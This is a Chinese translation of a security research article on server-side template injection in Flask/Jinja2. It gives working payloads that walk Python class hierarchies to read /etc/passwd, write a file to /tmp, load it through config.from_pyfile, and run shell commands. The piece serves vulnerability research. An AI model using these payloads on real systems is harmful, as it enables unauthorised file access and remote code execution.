探索Flask/Jinja2中的服務端模版注入(二)
來自: http://www.freebuf.com/articles/web/98928.html
在探索Flask/Jinja2中的服務端模版注入Part1中,我最初的目標是找到文件的路徑或者說是進行文件系統訪問。之前還無法達成這些目標,但是感謝朋友們在之前文章中的反饋,現在我已經能夠實現這些目標了。本文就來講講進一步研究獲得的結果。
神助攻
對于之前的文章,感謝 Nicolas G 對我們的幫助
如果你有玩玩這個payload,你很快就會清楚這是行不通的。這里有有幾個比較合理的解釋,之后我會簡短給大家說說。關鍵是這個payload使用了多個之前我們忽略了但非常重要的內省實用程序: __mro__ 以及 __subclasses__ 屬性
免噴申明:以下的解釋可能會存在些許生澀,我實在沒興趣把自己搞的非常精通啥的,就這水平了。大多數時候我在解決框架/語言中存在的模糊不清的部分,我都會嘗試看是否能夠帶給我預期的效果,但我一直不知道會產生這種效果的緣由。我依舊在學習這些屬性背后隱藏著的“為什么”,但我至少想將我知道的分享給大家!
__mro__ 中的MRO(Method Resolution Order)代表著解析方法調用的順序,可以看看 Python文檔 中的介紹。它是每個對象元類的一個隱藏屬性,當進行內省時會忽略 dir 輸出(see Objects/object.c at line 1812 )
__subclasses__ 屬性在這里作為一種方法被 定義 為,對每個new-style class“為它的直接子類維持一個弱引用列表”,之后“返回一個包含所有存活引用的列表”。
簡單來說, __mro__ 允許我們在當前Python環境中追溯對象繼承樹,之后 __subclasses__ 又讓我們回到原點。從一個new-style object開始,例如 str 類型。使用 __mro__ 我們可以從繼承樹爬到根對象類,之后在Python環境中使用 __subclasses__ 爬向每一個new-style object。ok,這讓我們能夠訪問加載到當前Python環境下的所有類,那么我們該怎么利用這一新發現愉快的玩耍呢?
利用
這里我們還要考慮一些東西,Python環境可能會包括:
- 源于Flask應用的東西
- 目標應用自定義的一些東西
因為我們是想獲得一個通用exploit,所以測試環境越接近原生Flask越好。越向應用中添加庫和第三方模塊,那我們能獲得通用exploit的概率就越低。我們之前進行概念驗證時使用的那個應用就是一個非常不錯的選擇。
為了挖掘出一枚exploit向量,要求不修改目標源代碼。在前一篇文章中,為了進行內省,我們向存在漏洞的應用中添加了一些函數,但現在這些統統都不需要了。
首先我們要做的第一件事便是選擇一個new-style object用于訪問 object 基類。可以簡單的使用 '' ,一個空字符串, str 對象類型。之后我們可以使用 __mro__ 屬性訪問對象的繼承類。將 {{ ''.__class__.__mro__ }} 作為payload注入到存在SSTI漏洞的頁面中
我們可以看到之前討論過的元組現在正向我們反饋,由于我們想追溯根對象類,我們利用第二條索引選擇 object 類類型。目前我們正位于根對象,可以利用 __subclasses__ 屬性dump所有存在于應用程序中的類,將 {{ ''.__class__.__mro__[2].__subclasses__() }} 注入到SSTI漏洞中。
如你所看到的,這里面的信息太多了。在我使用的這個目標App中,這里有572個可訪問類。這事情變得有些棘手了,這也是為什么上面推特中提到的payload行不通的原因了。記住,并不是每個應用的Python環境都差不多。我們的目標是找到一個能夠讓我們訪問文件或者操作系統的東西。可能不那么容易在一個應用中找到類似 subprocess.Popen 模塊進而獲得一枚exploit,例如受前文推ter上附有的那個payload影響的應用。但是從我的發現來看,沒有什么能夠比得上原生Flask。幸好,在原生Flask下我們也能夠實現類似的效果。
如果你梳理之前payload的輸出信息,你應該可以找到 <type 'file'> 類,它是文件系統訪問的關鍵。雖然 open 是創建文件對象的內置函數, file 類也是有能力列舉文件對象的,如果我們能夠列舉一個文件對象,之后我們可以使用類似 read 方法來提取內容。為了證實這一點,找到 file 類的索引并注入 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} ,其中的 40 是環境中 <type 'file'> 類的索引。
主觀上我們已經證明了在Flask/Jinja2框架下利用SSTI是能夠讀取文件的,我們廢了這么多時間難道只是這樣?今天我的目標是遠程代碼/命令執行!
在前一篇文章中我引用了 config 對象的幾個方法將對象加載到Flask配置環境中。其中一種方法便是 from_pyfile ,以下為 from_pyfile 方法的代碼( flask/config.py )
def from_pyfile(self, filename, silent=False): """Updates the values in the config from a Python file. This function behaves as if the file was imported as module with the :meth:from_object
function.:param filename: the filename of the config. This can either be an absolute filename or a filename relative to the root path. :param silent: set to `True` if you want silent failure for missing files. .. versionadded:: 0.7 `silent` parameter. """ filename = os.path.join(self.root_path, filename) d = imp.new_module('config') d.__file__ = filename try: with open(filename) as config_file: exec(compile(config_file.read(), filename, 'exec'), d.__dict__) except IOError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR): return False e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise self.from_object(d) return True</pre>
這里有幾個非常有趣的東西,最明顯的是使用一個文件路徑作為 compile 函數的參數。如果我們能夠向操作系統寫入文件,那么就可以大顯身手咯。正如我們剛才討論的,我們能夠做到!利用前面提及的 file 類不僅可以讀取文件還可以向目標服務器寫入文件。之后我們通過SSTI漏洞調用 from_pyfile 方法編譯文件并執行其中內容,這是一個2階段攻擊。首先向SSTI漏洞注入類似 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }} 。之后通過注入 {{ config.from_pyfile('/tmp/owned.cfg') }} 觸發編譯進程,之后就會執行編譯后的代碼。遠程代碼執行完成!
接下來將戰果擴大,雖然代碼在運行就非常棒了,但每個代碼塊都必須經過一個多步驟進程。讓我們利用 from_pyfile 方法為其預設用途,并向 config 對象添加一些有用的玩意。向SSTI漏洞注入 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 。這將向遠程服務器寫入一個文件,當編譯完成為 subprocess 模塊引入 check_output 方法,并將其設置指向變量 RUNCMD 。如果你回想一下上一篇文章,你會將其添加到Flask config 對象,用大寫字符將其看作為一個屬性。
![]()
注入 {{ config.from_pyfile('/tmp/owned.cfg') }} ,向 config 對象添加一個新項。注意以下兩張圖片的不同之處!
![]()
![]()
現在我們可以調用新的配置項在遠程服務器上運行命令了,通過向SSTI漏洞注入 {{ config['RUNCMD']('/usr/bin/id',shell=True) }} 即可證明!
![]()
遠程命令執行完成!
總結
我們不必再去糾結如何逃避Flask/Jinja2框架的模版沙盒,現在就可以得出結論:在Flask/Jinja2環境下SSTI漏洞帶來的影響實實在在的存在!
*參考來源: nvisium ,鳶尾編譯,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)
</div>